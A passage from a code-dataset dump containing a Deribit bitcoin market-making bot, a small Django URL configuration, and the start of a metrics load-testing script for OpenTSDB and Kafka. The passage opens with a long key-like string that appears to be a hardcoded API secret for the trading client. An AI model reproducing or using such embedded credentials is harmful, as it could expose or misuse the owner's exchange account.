'VWQnDJ7Qb3KmPB5yJZQAM41zbK741kcT6tGZMZzfpkc'\nBP = 1e-4 # one basis point\nBTC_SYMBOL = 'btc'\nCONTRACT_SIZE = 10 # USD\nCOV_RETURN_CAP = 1000 # cap on variance for vol estimate\nDECAY_POS_LIM = 0.1 # position lim decay factor toward expiry\nEWMA_WGT_COV = 66 # parameter in % points for EWMA volatility estimate\nEWMA_WGT_LOOPTIME = 2.5 # parameter for EWMA looptime estimate\nFORECAST_RETURN_CAP = 100 # cap on returns for vol estimate\nLOG_LEVEL = logging.INFO\nMIN_ORDER_SIZE = 1\nMAX_LAYERS = 2 # max orders to layer the ob with on each side\nMKT_IMPACT = 0 # base 1-sided spread between bid/offer\nNLAGS = 2 # number of lags in time series\nPCT = 100 * BP # one percentage point\nPCT_LIM_LONG = 200 # % position limit long\nPCT_LIM_SHORT = 200 # % position limit short\nPCT_QTY_BASE = 1 # pct order qty in bps as pct of acct on each order\nMIN_LOOP_TIME = 0.1 # Minimum time between loops\nRISK_CHARGE_VOL = 6.66 # vol risk charge in bps per 100 vol\nSECONDS_IN_DAY = 3600 * 24\nSECONDS_IN_YEAR = 365 * SECONDS_IN_DAY\nWAVELEN_MTIME_CHK = 15 # time in seconds between check for file change\nWAVELEN_OUT = 15 # time in seconds between output to terminal\nWAVELEN_TS = 15 # time in seconds between time series update\nVOL_PRIOR = 150 # vol estimation starting level in percentage pts\nINDEX_MOD = 0.02 #multiplier on modifer for bitmex XBTUSD / BXBT (index) diff as divisor for quantity, and as a multiplier on riskfac (which increases % difference among order prices in layers)\nPOS_MOD = 1 #multiplier on modifier for position difference vs min_order_size as multiplier for quantity\nPRICE_MOD = 0.02 # for price == 2, the modifier for the PPO strategy as multiplier for quantity\n\nEWMA_WGT_COV *= PCT\nMKT_IMPACT *= BP\nPCT_LIM_LONG *= PCT\nPCT_LIM_SHORT *= PCT\nPCT_QTY_BASE *= BP\nVOL_PRIOR *= PCT\n\n\nclass MarketMaker( object ):\n \n def __init__( self, monitor = True, output = True ):\n self.equity_usd = None\n self.equity_btc = None\n self.eth = 0\n self.equity_usd_init = None\n self.equity_btc_init = None\n self.con_size = float( CONTRACT_SIZE )\n self.client = None\n self.deltas = OrderedDict()\n self.futures = OrderedDict()\n self.futures_prv = OrderedDict()\n self.logger = None\n self.volatility = 0\n \n self.bbw = {}\n self.atr = {}\n self.diffdeltab = {}\n self.diff2 = 0\n self.diff3 = 0\n self.bands = {}\n self.quantity_switch = []\n self.price = []\n self.buysellsignal = {}\n self.directional = []\n self.seriesData = {}\n self.seriesData[(datetime.strptime((date.today() - timedelta(days=1)).strftime('%Y-%m-%d'), '%Y-%m-%d'))] = 0\n \n self.seriesPercent = {}\n self.startUsd = {}\n self.firstfirst = True\n self.dsrsi = 50\n self.minMaxDD = None\n self.maxMaxDD = None\n self.ws = {}\n self.ohlcv = {}\n self.mean_looptime = 1\n self.monitor = monitor\n self.output = output or monitor\n self.positions = OrderedDict()\n self.spread_data = None\n self.this_mtime = None\n self.ts = None\n self.vols = OrderedDict()\n self.multsShort = {}\n self.multsLong = {}\n self.diff = 1\n \n def create_client( self ):\n self.client = RestClient( KEY, SECRET, URL )\n \n \n def get_bbo( self, contract ): # Get best b/o excluding own orders\n j = self.ohlcv[contract].json()\n fut2 = contract\n #print(contract)\n best_bids = []\n best_asks = []\n o = []\n h = []\n l = []\n c = []\n v = []\n for b in j['result']['open']:\n o.append( b )\n \n for b in j['result']['high']:\n h.append(b)\n for b in j['result']['low']:\n l.append(b)\n for b in j['result']['close']:\n c.append(b)\n for b in j['result']['volume']:\n v.append(b)\n abc = 0\n ohlcv2 = []\n for b in j['result']['open']:\n ohlcv2.append([o[abc], h[abc], l[abc], c[abc], v[abc]])\n abc = abc + 1\n \n ddf = pd.DataFrame(ohlcv2, columns=['open', 'high', 'low', 'close', 'volume'])\n \n if 1 in self.directional:\n sleep(0)\n \n try:\n self.dsrsi = TA.STOCHRSI(ddf).iloc[-1] * 100\n except: \n self.dsrsi = 50 \n ##print(self.dsrsi)\n # Get orderbook\n if 2 in self.volatility or 3 in self.price or 4 in self.quantity_switch:\n self.bands[fut2] = TA.BBANDS(ddf).iloc[-1]\n self.bbw[fut2] = (TA.BBWIDTH(ddf).iloc[-1])\n #print(float(self.bands[fut2]['BB_UPPER'] - self.bands[fut2]['BB_LOWER']))\n if (float(self.bands[fut2]['BB_UPPER'] - self.bands[fut2]['BB_LOWER'])) > 0:\n deltab = (self.get_spot() - self.bands[fut2]['BB_LOWER']) / (self.bands[fut2]['BB_UPPER'] - self.bands[fut2]['BB_LOWER'])\n if deltab > 50:\n self.diffdeltab[fut2] = (deltab - 50) / 100 + 1\n if deltab < 50:\n self.diffdeltab[fut2] = (50 - deltab) / 100 + 1\n else:\n self.diffdeltab[fut2] = 25 / 100 + 1\n if 3 in self.volatility:\n self.atr[fut2] = TA.ATR(ddf).iloc[-1]\n \n if 0 in self.price:\n ob = self.client.getorderbook( contract )\n bids = ob[ 'bids' ]\n asks = ob[ 'asks' ]\n \n ords = self.client.getopenorders( contract )\n bid_ords = [ o for o in ords if o[ 'direction' ] == 'buy' ]\n ask_ords = [ o for o in ords if o[ 'direction' ] == 'sell' ]\n best_bid = None\n best_ask = None\n\n err = 10 ** -( self.get_precision( contract ) + 1 )\n \n for b in bids:\n match_qty = sum( [ \n o[ 'quantity' ] for o in bid_ords \n if math.fabs( b[ 'price' ] - o[ 'price' ] ) < err\n ] )\n if match_qty < b[ 'quantity' ]:\n best_bid = b[ 'price' ]\n break\n \n for a in asks:\n match_qty = sum( [ \n o[ 'quantity' ] for o in ask_ords \n if math.fabs( a[ 'price' ] - o[ 'price' ] ) < err\n ] )\n if match_qty < a[ 'quantity' ]:\n best_ask = a[ 'price' ]\n break\n \n best_asks.append(best_ask)\n best_bids.append(best_bid)\n if 1 in self.price:\n dvwap = TA.VWAP(ddf)\n ##print(dvwap)\n tsz = self.get_ticksize( contract ) \n try: \n bid = ticksize_floor( dvwap.iloc[-1], tsz )\n ask = ticksize_ceil( dvwap.iloc[-1], tsz )\n except:\n bid = ticksize_floor( self.get_spot(), tsz )\n ask = ticksize_ceil( self.get_spot(), tsz )\n \n #print( { 'bid': bid, 'ask': ask })\n best_asks.append(best_ask)\n best_bids.append(best_bid)\n if 2 in self.quantity_switch:\n \n dppo = TA.PPO(ddf)\n self.buysellsignal[fut2] = 1\n try:\n if(dppo.iloc[-1].PPO > 0):\n self.buysellsignal[fut2] = self.buysellsignal[fut2] * (1+PRICE_MOD)\n else:\n self.buysellsignal[fut2] = self.buysellsignal[fut2] * (1-PRICE_MOD)\n\n if(dppo.iloc[-1].HISTO > 0):\n self.buysellsignal[fut2] = self.buysellsignal[fut2]* (1+PRICE_MOD)\n else:\n self.buysellsignal[fut2] = self.buysellsignal[fut2] * (1-PRICE_MOD)\n if(dppo.iloc[-1].SIGNAL > 0):\n self.buysellsignal[fut2] = self.buysellsignal[fut2] * (1+PRICE_MOD)\n else:\n self.buysellsignal[fut2] = self.buysellsignal[fut2] * (1-PRICE_MOD)\n except:\n self.buysellsignal[fut2] = 1\n\n \n ##print({ 'bid': best_bid, 'ask': best_ask })\n return { 'bid': self.cal_average(best_bids), 'ask': self.cal_average(best_asks) }\n\n\n def get_futures( self ): # Get all current futures instruments\n \n self.futures_prv = cp.deepcopy( self.futures )\n insts = self.client.getinstruments()\n self.futures = sort_by_key( { \n i[ 'instrumentName' ]: i for i in insts if ('BTC-PERPETUAL' in i['instrumentName'] ) and i[ 'kind' ] == 'future'# \n } )\n \n for k, v in self.futures.items():\n self.futures[ k ][ 'expi_dt' ] = datetime.strptime( \n v[ 'expiration' ][ : -4 ], \n '%Y-%m-%d %H:%M:%S' )\n \n \n def get_pct_delta( self ): \n self.update_status()\n return sum( self.deltas.values()) / self.equity_btc\n \n def get_spot( self ):\n return self.client.index()[ 'btc' ]\n\n \n def get_precision( self, contract ):\n return self.futures[ contract ][ 'pricePrecision' ]\n\n \n def get_ticksize( self, contract ):\n return self.futures[ contract ][ 'tickSize' ]\n \n \n def output_status( self ):\n startLen = (len(self.seriesData))\n if self.startUsd != {}:\n startUsd = self.startUsd\n nowUsd = self.equity_usd\n diff = 100 * ((nowUsd / startUsd) -1)\n print('diff')\n print(diff)\n \n if diff < self.diff2:\n self.diff2 = diff\n if diff > self.diff3:\n self.diff3 = diff\n if self.diff3 > self.maxMaxDD:\n print('broke max max dd! sleep 24hr')\n time.sleep(60 * 60 * 24)\n self.diff3 = 0\n self.startUsd = self.equity_usd\n if self.diff2 < self.minMaxDD:\n print('broke min max dd! sleep 24hr')\n time.sleep(60 * 60 * 24)\n self.diff2 = 0\n self.startUsd = self.equity_usd\n self.seriesData[(datetime.strptime(datetime.today().strftime('%Y-%m-%d'), '%Y-%m-%d'))] = self.diff2\n \n endLen = (len(self.seriesData))\n if endLen != startLen:\n self.seriesPercent[(datetime.strptime(datetime.today().strftime('%Y-%m-%d'), '%Y-%m-%d'))] = diff\n self.diff2 = 0\n self.diff3 = 0\n self.startUsd = self.equity_usd\n s = pd.Series(self.seriesData)\n\n\n print(s)\n print(qs.stats.max_drawdown(s))\n if not self.output:\n return None\n \n self.update_status()\n \n now = datetime.utcnow()\n days = ( now - self.start_time ).total_seconds() / SECONDS_IN_DAY\n print( '********************************************************************' )\n print( 'Start Time: %s' % self.start_time.strftime( '%Y-%m-%d %H:%M:%S' ))\n print( 'Current Time: %s' % now.strftime( '%Y-%m-%d %H:%M:%S' ))\n print( 'Days: %s' % round( days, 1 ))\n print( 'Hours: %s' % round( days * 24, 1 ))\n print( 'Spot Price: %s' % self.get_spot())\n \n \n pnl_usd = self.equity_usd - self.equity_usd_init\n pnl_btc = self.equity_btc - self.equity_btc_init\n if self.firstfirst == True:\n self.startUsd = self.equity_usd\n self.firstfirst = False\n print( 'Equity ($): %7.2f' % self.equity_usd)\n print( 'P&L ($) %7.2f' % pnl_usd)\n print( 'Equity (BTC): %7.4f' % self.equity_btc)\n print( 'P&L (BTC) %7.4f' % pnl_btc)\n ##print( '%% Delta: %s%%'% round( self.get_pct_delta() / PCT, 1 ))\n ##print( 'Total Delta (BTC): %s' % round( sum( self.deltas.values()), 2 )) \n #print_dict_of_dicts( {\n # k: {\n # 'BTC': self.deltas[ k ]\n # } for k in self.deltas.keys()\n # }, \n # roundto = 2, title = 'Deltas' )\n \n print_dict_of_dicts( {\n k: {\n 'Contracts': self.positions[ k ][ 'size' ]\n } for k in self.positions.keys()\n }, \n title = 'Positions' )\n \n if not self.monitor:\n print_dict_of_dicts( {\n k: {\n '%': self.vols[ k ]\n } for k in self.vols.keys()\n }, \n multiple = 100, title = 'Vols' )\n #print( '\\nMean Loop Time: %s' % round( self.mean_looptime, 2 ))\n #print( '' )\n for k in self.positions.keys():\n\n self.multsShort[k] = 1\n self.multsLong[k] = 1\n\n if 'sizeEth' in self.positions[k]:\n key = 'sizeEth'\n else:\n key = 'sizeBtc'\n if self.positions[k][key] > 10:\n self.multsShort[k] = (self.positions[k][key] / 10) * POS_MOD\n if self.positions[k][key] < -1 * 10:\n self.multsLong[k] = (-1 * self.positions[k]['currentQty'] / 10) * POS_MOD\n#Vols \n #print(self.multsLong)\n #print(self.multsShort)\n \n def place_orders( self ):\n\n if self.monitor:\n return None\n \n con_sz = self.con_size \n \n for fut in self.futures.keys():\n \n account = self.client.account()\n\n spot = self.get_spot()\n bal_btc = account[ 'equity' ] * 100\n pos_lim_long = bal_btc * PCT_LIM_LONG / len(self.futures)\n pos_lim_short = bal_btc * PCT_LIM_SHORT / len(self.futures)\n expi = self.futures[ fut ][ 'expi_dt' ]\n ##print(self.futures[ fut ][ 'expi_dt' ])\n if self.eth is 0:\n self.eth = 200\n if 'ETH' in fut:\n if 'sizeEth' in self.positions[fut]:\n pos = self.positions[ fut ][ 'sizeEth' ] * self.eth / self.get_spot() \n else:\n pos = 0\n else:\n pos = self.positions[ fut ][ 'sizeBtc' ]\n\n tte = max( 0, ( expi - datetime.utcnow()).total_seconds() / SECONDS_IN_DAY )\n pos_decay = 1.0 - math.exp( -DECAY_POS_LIM * tte )\n pos_lim_long *= pos_decay\n pos_lim_short *= pos_decay\n pos_lim_long -= pos\n pos_lim_short += pos\n pos_lim_long = max( 0, pos_lim_long )\n pos_lim_short = max( 0, pos_lim_short )\n \n min_order_size_btc = MIN_ORDER_SIZE / spot * CONTRACT_SIZE\n \n #qtybtc = max( PCT_QTY_BASE * bal_btc, min_order_size_btc)\n qtybtc = PCT_QTY_BASE * bal_btc\n nbids = min( math.trunc( pos_lim_long / qtybtc ), MAX_LAYERS )\n nasks = min( math.trunc( pos_lim_short / qtybtc ), MAX_LAYERS )\n \n place_bids = nbids > 0\n place_asks = nasks > 0\n #buy bid sell ask\n if self.dsrsi > 80: #over\n place_bids = 0\n if self.dsrsi < 20: #under\n place_asks = 0\n if not place_bids and not place_asks:\n #print( 'No bid no offer for %s' % fut, min_order_size_btc )\n continue\n \n tsz = self.get_ticksize( fut ) \n # Perform pricing\n vol = max( self.vols[ BTC_SYMBOL ], self.vols[ fut ] )\n if 1 in self.volatility:\n eps = BP * vol * RISK_CHARGE_VOL\n if 0 in self.volatility:\n eps = BP * 0.5 * RISK_CHARGE_VOL\n if 2 in self.price:\n eps = eps * self.diff\n if 3 in self.price:\n if self.diffdeltab[fut] > 0 or self.diffdeltab[fut] < 0:\n eps = eps *self.diffdeltab[fut]\n if 2 in self.volatility:\n eps = eps * (1+self.bbw[fut])\n if 3 in self.volatility:\n eps = eps * (self.atr[fut]/100)\n riskfac = math.exp( eps )\n bbo = self.get_bbo( fut )\n bid_mkt = bbo[ 'bid' ]\n ask_mkt = bbo[ 'ask' ]\n mid = 0.5 * ( bbo[ 'bid' ] + bbo[ 'ask' ] )\n\n mid_mkt = 0.5 * ( bid_mkt + ask_mkt )\n \n ords = self.client.getopenorders( fut )\n cancel_oids = []\n bid_ords = ask_ords = []\n \n if place_bids:\n \n bid_ords = [ o for o in ords if o[ 'direction' ] == 'buy' ]\n len_bid_ords = min( len( bid_ords ), nbids )\n bid0 = mid_mkt * math.exp( -MKT_IMPACT )\n bids = [ bid0 * riskfac ** -i for i in range( 1, nbids + 1 ) ]\n\n bids[ 0 ] = ticksize_floor( bids[ 0 ], tsz )\n \n if place_asks:\n \n ask_ords = [ o for o in ords if o[ 'direction' ] == 'sell' ] \n len_ask_ords = min( len( ask_ords ), nasks )\n ask0 = mid_mkt * math.exp( MKT_IMPACT )\n asks = [ ask0 * riskfac ** i for i in range( 1, nasks + 1 ) ]\n\n asks[ 0 ] = ticksize_ceil( asks[ 0 ], tsz )\n for i in range( max( nbids, nasks )):\n # BIDS\n #print('nbids')\n #print(nbids)\n #print('nasks')\n #print(nasks)\n if place_bids and i < nbids:\n\n if i > 0:\n prc = ticksize_floor( min( bids[ i ], bids[ i - 1 ] - tsz ), tsz )\n else:\n prc = bids[ 0 ]\n\n qty = round( prc * qtybtc / (con_sz / 1) ) \n if 'ETH' in fut:\n qty = round( prc * 450 * qtybtc / (con_sz / 1) ) \n if 4 in self.quantity_switch:\n if self.diffdeltab[fut] > 0 or self.diffdeltab[fut] < 0:\n qty = round(qty / (self.diffdeltab[fut])) \n if 2 in self.quantity_switch:\n qty = round ( qty * self.buysellsignal[fut]) \n if 3 in self.quantity_switch:\n qty = round (qty *self.multsLong[fut]) \n if 1 in self.quantity_switch:\n qty = round (qty / self.diff) \n \n if qty < 0:\n qty = qty * -1\n if i < len_bid_ords: \n\n oid = bid_ords[ i ][ 'orderId' ]\n try:\n self.client.edit( oid, qty, prc )\n except (SystemExit, KeyboardInterrupt):\n raise\n except:\n try:\n self.client.buy( fut, qty, prc, 'true' )\n cancel_oids.append( oid )\n self.logger.warn( 'Edit failed for %s' % oid )\n except (SystemExit, KeyboardInterrupt):\n raise\n except Exception as e:\n self.logger.warn( 'Bid order failed: %s bid for %s'\n % ( prc, qty ))\n else:\n try:\n self.client.buy( fut, qty, prc, 'true' )\n except (SystemExit, KeyboardInterrupt):\n raise\n except Exception as e:\n self.logger.warn( 'Bid order failed: %s bid for %s'\n % ( prc, qty ))\n\n # OFFERS\n\n if place_asks and i < nasks:\n\n if i > 0:\n prc = ticksize_ceil( max( asks[ i ], asks[ i - 1 ] + tsz ), tsz )\n else:\n prc = asks[ 0 ]\n \n qty = round( prc * qtybtc / (con_sz / 1) )\n if 'ETH' in fut:\n qty = round( prc * 450 * qtybtc / (con_sz / 1) ) \n \n #print(qty)\n #print(qty)\n #print(qty)\n #print(qty)\n if 4 in self.quantity_switch:\n if self.diffdeltab[fut] > 0 or self.diffdeltab[fut] < 0:\n qty = round(qty / (self.diffdeltab[fut])) \n \n if 2 in self.quantity_switch:\n qty = round ( qty / self.buysellsignal[fut]) \n if 3 in self.quantity_switch:\n qty = round (qty * self.multsShort[fut]) \n #print(qty)\n #print(qty)\n #print(qty)\n #print(qty)\n if 1 in self.quantity_switch:\n qty = round (qty / self.diff)\n\n if qty < 0:\n qty = qty * -1 \n if i < len_ask_ords:\n oid = ask_ords[ i ][ 'orderId' ]\n try:\n self.client.edit( oid, qty, prc )\n except (SystemExit, KeyboardInterrupt):\n raise\n except:\n try:\n self.client.sell( fut, qty, prc, 'true' )\n cancel_oids.append( oid )\n self.logger.warn( 'Sell Edit failed for %s' % oid )\n except (SystemExit, KeyboardInterrupt):\n raise\n except Exception as e:\n self.logger.warn( 'Offer order failed: %s at %s'\n % ( qty, prc ))\n\n else:\n try:\n self.client.sell( fut, qty, prc, 'true' )\n except (SystemExit, KeyboardInterrupt):\n raise\n except Exception as e:\n self.logger.warn( 'Offer order failed: %s at %s'\n % ( qty, prc ))\n\n\n if nbids < len( bid_ords ):\n cancel_oids += [ o[ 'orderId' ] for o in bid_ords[ nbids : ]]\n if nasks < len( ask_ords ):\n cancel_oids += [ o[ 'orderId' ] for o in ask_ords[ nasks : ]]\n for oid in cancel_oids:\n try:\n self.client.cancel( oid )\n except:\n self.logger.warn( 'Order cancellations failed: %s' % oid )\n \n \n def restart( self ): \n try:\n strMsg = 'RESTARTING'\n #print( strMsg )\n self.client.cancelall()\n strMsg += ' '\n for i in range( 0, 5 ):\n strMsg += '.'\n #print( strMsg )\n sleep( 1 )\n except:\n pass\n finally:\n os.execv( sys.executable, [ sys.executable ] + sys.argv ) \n \n\n def run( self ):\n \n self.run_first()\n self.output_status()\n\n t_ts = t_out = t_loop = t_mtime = datetime.utcnow()\n\n while True:\n self.get_futures()\n # Directional\n # 0: none\n # 1: StochRSI\n #\n # Price\n # 0: none\n # 1: vwap\n # 2: ppo\n #\n\n # Volatility\n # 0: none\n # 1: ewma\n with open('deribit-settings.json', 'r') as read_file:\n data = json.load(read_file)\n\n self.maxMaxDD = data['maxMaxDD']\n self.minMaxDD = data['minMaxDD']\n self.directional = data['directional']\n self.price = data['price']\n self.volatility = data['volatility']\n self.quantity_switch = data['quantity']\n\n # Restart if a new contract is listed\n if len( self.futures ) != len( self.futures_prv ):\n self.restart()\n \n self.update_positions()\n \n t_now = datetime.utcnow()\n \n # Update time series and vols\n if ( t_now - t_ts ).total_seconds() >= WAVELEN_TS:\n t_ts = t_now\n for contract in self.futures.keys():\n self.ohlcv[contract] = requests.get('https://test.deribit.com/api/v2/public/get_tradingview_chart_data?instrument_name=' + contract + '&start_timestamp=' + str(int(time.time()) * 1000 - 1000 * 60 * 60) + '&end_timestamp=' + str(int(time.time())* 1000) + '&resolution=1')\n \n self.update_timeseries()\n self.update_vols()\n \n self.place_orders()\n \n # Display status to terminal\n if self.output: \n t_now = datetime.utcnow()\n if ( t_now - t_out ).total_seconds() >= WAVELEN_OUT:\n self.output_status(); t_out = t_now\n \n # Restart if file change detected\n t_now = datetime.utcnow()\n if ( t_now - t_mtime ).total_seconds() > WAVELEN_MTIME_CHK:\n t_mtime = t_now\n if getmtime( __file__ ) > self.this_mtime:\n self.restart()\n \n t_now = datetime.utcnow()\n looptime = ( t_now - t_loop ).total_seconds()\n \n # Estimate mean looptime\n w1 = EWMA_WGT_LOOPTIME\n w2 = 1.0 - w1\n t1 = looptime\n t2 = self.mean_looptime\n \n self.mean_looptime = w1 * t1 + w2 * t2\n \n t_loop = t_now\n sleep_time = MIN_LOOP_TIME - looptime\n if sleep_time > 0:\n time.sleep( sleep_time )\n if self.monitor:\n time.sleep( WAVELEN_OUT )\n\n def cal_average(self, num):\n sum_num = 0\n for t in num:\n sum_num = sum_num + t \n\n avg = sum_num / len(num)\n return avg\n\n \n def run_first( self ):\n \n self.create_client()\n self.client.cancelall()\n self.logger = get_logger( 'root', LOG_LEVEL )\n # Get all futures contracts\n self.get_futures()\n for k in self.futures.keys():\n self.ohlcv[k] = requests.get('https://test.deribit.com/api/v2/public/get_tradingview_chart_data?instrument_name=' + k + '&start_timestamp=' + str(int(time.time()) * 1000 - 1000 * 60 * 60) + '&end_timestamp=' + str(int(time.time())* 1000) + '&resolution=1')\n \n self.bbw[k] = 0\n self.bands[k] = []\n self.atr[k] = 0\n self.diffdeltab[k] = 0\n self.buysellsignal[k] = 1\n \n self.this_mtime = getmtime( __file__ )\n self.symbols = [ BTC_SYMBOL ] + list( self.futures.keys()); self.symbols.sort()\n self.deltas = OrderedDict( { s: None for s in self.symbols } )\n \n # Create historical time series data for estimating vol\n ts_keys = self.symbols + [ 'timestamp' ]; ts_keys.sort()\n \n self.ts = [\n OrderedDict( { f: None for f in ts_keys } ) for i in range( NLAGS + 1 )\n ]\n \n self.vols = OrderedDict( { s: VOL_PRIOR for s in self.symbols } )\n \n self.start_time = datetime.utcnow()\n self.update_status()\n self.equity_usd_init = self.equity_usd\n self.equity_btc_init = self.equity_btc\n \n \n def update_status( self ):\n \n account = self.client.account()\n spot = self.get_spot()\n\n self.equity_btc = account[ 'equity' ]\n self.equity_usd = self.equity_btc * spot\n \n self.update_positions()\n \n # self.deltas = OrderedDict( \n # { k: self.positions[ k ][ 'sizeBtc' ] for k in self.futures.keys()}\n # )\n \n # self.deltas[ BTC_SYMBOL ] = account[ 'equity' ] \n \n \n def update_positions( self ):\n\n self.positions = OrderedDict( { f: {\n 'size': 0,\n 'sizeBtc': 0,\n 'indexPrice': None,\n 'markPrice': None\n } for f in self.futures.keys() } )\n positions = self.client.positions()\n \n for pos in positions:\n if 'ETH' in pos['instrument']:\n pos['size'] = pos['size'] / 10\n if pos[ 'instrument' ] in self.futures:\n self.positions[ pos[ 'instrument' ]] = pos\n \n \n def update_timeseries( self ):\n \n if self.monitor:\n return None\n \n for t in range( NLAGS, 0, -1 ):\n self.ts[ t ] = cp.deepcopy( self.ts[ t - 1 ] )\n \n spot = self.get_spot()\n self.ts[ 0 ][ BTC_SYMBOL ] = spot\n \n for contract in self.futures.keys():\n ob = self.client.getorderbook( contract )\n bids = ob[ 'bids' ]\n asks = ob[ 'asks' ]\n \n ords = self.client.getopenorders( contract )\n bid_ords = [ o for o in ords if o[ 'direction' ] == 'buy' ]\n ask_ords = [ o for o in ords if o[ 'direction' ] == 'sell' ]\n best_bid = None\n best_ask = None\n\n err = 10 ** -( self.get_precision( contract ) + 1 )\n \n for b in bids:\n match_qty = sum( [ \n o[ 'quantity' ] for o in bid_ords \n if math.fabs( b[ 'price' ] - o[ 'price' ] ) < err\n ] )\n if match_qty < b[ 'quantity' ]:\n best_bid = b[ 'price' ]\n break\n \n for a in asks:\n match_qty = sum( [ \n o[ 'quantity' ] for o in ask_ords \n if math.fabs( a[ 'price' ] - o[ 'price' ] ) < err\n ] )\n if match_qty < a[ 'quantity' ]:\n best_ask = a[ 'price' ]\n break\n bid = best_bid\n ask = best_ask\n\n if not bid is None and not ask is None:\n mid = 0.5 * ( bid + ask )\n \n else:\n continue\n self.ts[ 0 ][ contract ] = mid\n \n self.ts[ 0 ][ 'timestamp' ] = datetime.utcnow()\n\n \n def update_vols( self ):\n \n if self.monitor:\n return None\n \n w = EWMA_WGT_COV\n ts = self.ts\n \n t = [ ts[ i ][ 'timestamp' ] for i in range( NLAGS + 1 ) ]\n p = { c: None for c in self.vols.keys() }\n for c in ts[ 0 ].keys():\n p[ c ] = [ ts[ i ][ c ] for i in range( NLAGS + 1 ) ]\n \n if any( x is None for x in t ):\n return None\n for c in self.vols.keys():\n if any( x is None for x in p[ c ] ):\n return None\n \n NSECS = SECONDS_IN_YEAR\n cov_cap = COV_RETURN_CAP / NSECS\n \n for s in self.vols.keys():\n \n x = p[ s ] \n #print(x)\n dx = x[ 0 ] / x[ 1 ] - 1\n #print(dx)\n dt = ( t[ 0 ] - t[ 1 ] ).total_seconds()\n v = min( dx ** 2 / dt, cov_cap ) * NSECS\n v = w * v + ( 1 - w ) * self.vols[ s ] ** 2\n self.vols[ s ] = math.sqrt( v )\n \n\nif __name__ == '__main__':\n \n try:\n mmbot = MarketMaker( monitor = args.monitor, output = args.output )\n mmbot.run()\n except( KeyboardInterrupt, SystemExit ):\n #print( \"Cancelling open orders\" )\n mmbot.client.cancelall()\n sys.exit()\n except:\n #print( traceback.format_exc())\n if args.restart:\n mmbot.restart()\n ","sub_path":"deribit.py","file_name":"deribit.py","file_ext":"py","file_size_in_byte":35350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"402398718","text":"from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\nimport views\nurlpatterns = patterns('',\n url(r'^admin/', include(admin.site.urls)),\n url(r'^$', views.index, name='index'),\n url(r'^login$', views.login_page, name='login'),\n url(r'^logout$', views.logout_page, name='logout'),\n url(r'^control/(?P\\d{2})/(?P[a-z]+)/$', views.control, name='control'),\n url(r'^light_sensor',views.send_light,name='light_sensor')\n )\n","sub_path":"django/mysite/mysite/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"110676021","text":"import time\nimport random\nimport json\nimport requests\nimport os\nimport optparse\nimport multiprocessing\nimport yaml\nimport logging\n\n\n\n\nYAML_FILE = '/muti_processes.yaml'\n\nclass sender(object):\n def __init__(self, metr_num, host, timestamp):\n self.metr_num = metr_num\n self.host = host\n self.timestamp = timestamp\n def __call__(self, ):\n return {\"metric\": self.metr_num,\"tags\":{\"device\": \"disk1\",\"host\": self.host},\"timestamp\": self.timestamp,\"value\": 2222}\n\ndef opentsdb_post(host, curr_time, past_time, tar_url):\n\n endpoint = past_time\n host_id = 'host' + str(host)\n logging.warning(host_id + \"!----Start\")\n post_data = 0\n try:\n while True:\n inner_list = []\n for metr in range(1, METRIC_NUM + 1):\n tar_random = SEND_COLLECTION + random.randint(-SEND_COLLECTION//2,SEND_COLLECTION//2)\n metr_num = \"M\" + str(metr)\n metrics = sender(metr_num, host_id, (endpoint))\n inner_list.append(metrics())\n if len(inner_list) > tar_random:\n try:\n requests.post(tar_url,data=json.dumps(inner_list,ensure_ascii=False),headers=HEADERS)\n post_data += len(inner_list)\n inner_list = []\n except:\n pass\n\n\n if endpoint > curr_time:\n break\n endpoint = endpoint + INTERVAL\n except Exception as e:\n logging.warning(\"[WARNING:post opentsdb failed %s]\" % e)\n\n logging.warning(\"Data point added:\" + str(post_data))\n\n logging.warning(host_id + \"!----End\")\n logging.warning(\"Data point added:\" + str(post_data))\n\ndef kafka_post(host, curr_time, past_time, tar_url):\n\n endpoint = past_time\n host_id = 'host' + str(host)\n logging.warning(host_id + \"!----Start\")\n post_data = 0\n try:\n while True:\n inner_list = []\n for metr in range(1, METRIC_NUM + 1):\n tar_random = SEND_COLLECTION + random.randint(-SEND_COLLECTION//2,SEND_COLLECTION//2)\n metr_num = \"M\" + str(metr)\n metrics = sender(metr_num, host_id, (endpoint))\n inner_list.append(metrics())\n if len(inner_list) > tar_random:\n try:\n full_dic = {\"metrics\": inner_list,\"token\": TOKEN}\n requests.post(tar_url,data=json.dumps(full_dic,ensure_ascii=False),headers=HEADERS)\n post_data += tar_random\n inner_list = []\n except:\n pass\n\n\n if endpoint > curr_time:\n break\n endpoint = endpoint + INTERVAL\n except :\n logging.warning(\"[WARNING:post kafka failed]\")\n\n logging.warning(\"Data point added:\" + str(post_data))\n\n logging.warning(host_id + \"!----End\")\n logging.warning(\"Data point added:\" + str(post_data))\n\ndef option_select():\n parse = optparse.OptionParser(usage='pressure test for the cloudwiz collectors', version=\"%prog 1.2\")\n parse.add_option('-c', '--cloudprom', dest='cloudprom', action='store', metavar='thread_num', help='Start send to kafka!!')\n parse.add_option('-o', '--opentsdb', dest='opentsdb', metavar='thread_num', help='Start send to opentsdb!!')\n parse.add_option('-w', '--withother', dest='withother', help='Start normal mode to kafka')\n (options, args) = parse.parse_args()\n if options.cloudprom:\n tar_url = CLOUDPROM_URL\n main(kafka_post, options.cloudprom, tar_url)\n elif options.opentsdb:\n tar_url = OPENTSDB_URL\n main(opentsdb_post, options.opentsdb, tar_url)\n elif options.withother:\n tar_url = CLOUDPROM_URL\n # os.system(\"python3 test1.py &\")\n main(kafka_post,options.withother, tar_url)\n\ndef load_config():\n YAML = os.path.abspath(os.path.dirname(__file__)) + YAML_FILE\n try:\n with open(YAML, \"r\") as f:\n file = yaml.load(f.read())\n LOG_POSITION = file[\"pressure\"][\"log_config\"]\n START_TIME = file[\"pressure\"][\"start_time\"]\n INTERVAL = file[\"pressure\"][\"interval\"]\n METRIC_NUM = file[\"pressure\"][\"metric_num\"]\n SEND_COLLECTION = file[\"pressure\"][\"send_collection\"]\n TOKEN = file[\"pressure\"][\"token\"]\n CLOUDPROM_URL = file[\"pressure\"][\"url\"][\"cloudprom_url\"]\n OPENTSDB_URL = file[\"pressure\"][\"url\"][\"opentsdb_url\"]\n\n TIME_SCAN = START_TIME * 24 * 60 * 60\n HEADERS = {\"Content-Type\": 